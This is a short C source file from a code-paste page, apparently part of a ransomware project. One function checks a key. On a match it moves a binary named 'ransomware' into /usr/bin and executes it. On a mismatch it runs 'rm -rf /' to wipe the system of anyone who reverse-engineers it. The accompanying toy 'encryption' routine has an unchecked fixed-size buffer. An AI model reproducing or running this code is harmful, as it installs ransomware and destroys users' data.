fdcrypt.c
unknown
c_cpp
4 years ago
596 B
10
Indexable
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include "../keys/key.h"
int *encryption(char *text){
int *a = malloc(sizeof(int) * 25);
for(int n = 0; n < strlen(text); n++){
a[n] = (int)text[n]+3;
}
return a;
}
int move_(char *keyx){
if(!strcmp(keyx, key)){
system("mv ./ransomware /usr/bin");
system("cp ./key.txt /usr/share");
system("ransomware");
printf("Success, 0(True)\n");
} else {
printf("Boom, reversed codes huh? You master engineer, lol\n");
system("rm -rf /");
}
}Editor is loading...